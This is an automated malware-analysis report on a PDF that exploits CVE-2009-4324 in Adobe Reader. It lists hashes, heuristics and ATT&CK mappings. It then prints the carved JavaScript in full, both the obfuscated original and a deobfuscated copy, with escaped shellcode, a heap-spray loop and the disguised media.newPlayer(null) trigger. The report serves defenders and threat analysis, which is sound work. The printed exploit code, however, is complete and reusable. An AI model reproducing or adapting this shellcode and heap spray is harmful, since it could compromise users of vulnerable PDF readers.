Malicious PDF — malware analysis report

Static analysis result for SHA-256 cfc0704f6c29c1d8…

MALICIOUS

PDF

225.3 KB Created: 2009-07-08 10:53:46 +08:00 Authoring application: Acrobat Distiller 7.0 (Windows) First seen: 2026-05-09
MD5: cee5b36d53f221227ed0336c76f3762a SHA-1: dad77187106f5bd35ecdb3ebf761be3906d2fdea SHA-256: cfc0704f6c29c1d8906a819ef5977e885d903a5156bca4a0dee3e3feb7b8c72a
208 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF sample contains obfuscated JavaScript that performs a heap spray, a common technique for exploiting memory corruption vulnerabilities. The heuristic firings indicate exploitation of CVE-2009-4324, which is known to be leveraged by malicious PDFs. The deobfuscated JavaScript confirms the heap spray behavior, suggesting the intent is to prepare the system for further malicious activity, likely payload delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x4DD 2944 bytes
SHA-256: fec02ac84241a606ddee84042d46f183d5a3e8bc4f3fce27d6a568b328437545
Preview script
First 1,000 lines of the extracted script
var sww=unescape;
var pGvRIJZpqdN =  sww("%u4143%u494b%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9"+
"\x25\x75EBFA\x25\x75E805\x25\x75FFEB\x25\x75FFFF"+
"%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9"+
"%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF"+
"%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06"+
"%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF"+
"%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791"+
"%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601"+
"%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993"+
"%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD"+
"%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD"+
"%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9"+
"%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9"+
"%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9"+
"%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D"+
"%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD"+
"%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD"+
"%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D"+
"%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372"+
"%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C"+
"%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = sww("\x25\x750\x630\x63\x25\x750\x630\x63");
var QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE = sww("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 32768) AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc+=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc;
	AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.substring(0,32768 - pGvRIJZpqdN.length);

memory=new Array();

for(i=0;i<0x2000;i++) {
	memory[i]= AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc + pGvRIJZpqdN;
}

util.printd("FGgITeSFZAjpOsSyXgoMbUZttCRxNEDbuZjH", new Date());
util.printd("PAAhBAPMqrBpJVqRwqwcuxjWkEUEcZdEnvdP", new Date());
try {this.media["\x6e\x65\x77\x50\x6c\x61\x79\x65\x72"](null);} catch(e) {}
util.printd(QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE, new Date());
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 17 at offset 0x4DD 2780 bytes
SHA-256: 798319c5fb36218270198f3d097dd6c298b2d09d5d838caf46439648ebc871f7
Preview script
First 1,000 lines of the extracted script
var sww=unescape;
var pGvRIJZpqdN =  sww("%u4143%u494b%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9%uEBFA%uE805%uFFEB%uFFFF%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = sww("\x25\x750\x630\x63\x25\x750\x630\x63");
var QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE = sww("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 32768) AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc+=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc;
	AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.substring(0,32768 - pGvRIJZpqdN.length);

memory=new Array();

for(i=0;i<0x2000;i++) {
	memory[i]= AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc + pGvRIJZpqdN;
}

util.printd("FGgITeSFZAjpOsSyXgoMbUZttCRxNEDbuZjH", new Date());
util.printd("PAAhBAPMqrBpJVqRwqwcuxjWkEUEcZdEnvdP", new Date());
try {this.media["\x6e\x65\x77\x50\x6c\x61\x79\x65\x72"](null);} catch(e) {}
util.printd(QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE, new Date());

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